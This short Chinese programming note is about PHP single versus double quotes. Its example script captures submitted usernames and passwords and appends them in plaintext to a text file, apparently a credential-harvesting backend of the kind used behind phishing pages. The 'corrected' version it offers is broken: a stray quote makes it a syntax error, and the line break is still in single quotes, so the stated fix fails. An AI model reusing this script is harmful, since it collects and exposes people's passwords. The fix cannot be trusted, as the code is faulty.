<?php header("content-type:text/html;charset=utf-8"); $username=$_POST["username"]; $password=$_POST["password"]; $allinfo='usename:' .$username .' pass:'. $password .'\r\n'; $myfile = fopen("password.txt", "a+"); fwrite($myfile, $allinfo); fclose($myfile); ?>
测试以上根本不会通过\r\n进行换行,因为:
代码里面不要用单引号, 因为PHP里面的单引号是不对内容里面的东西进行替换的;所以用双引号,因为双引号PHP是检查里面的东西的!
修改如下即可,代码规范是个问题…
<?php header("content-type:text/html;charset=utf-8"); $username=$_POST["username"]; $password=$_POST["password"]; $allinfo="usename:" .$username ." pass:"'. $password .'\r\n'; $myfile = fopen("password.txt", "a+"); fwrite($myfile, $allinfo); fclose($myfile); ?>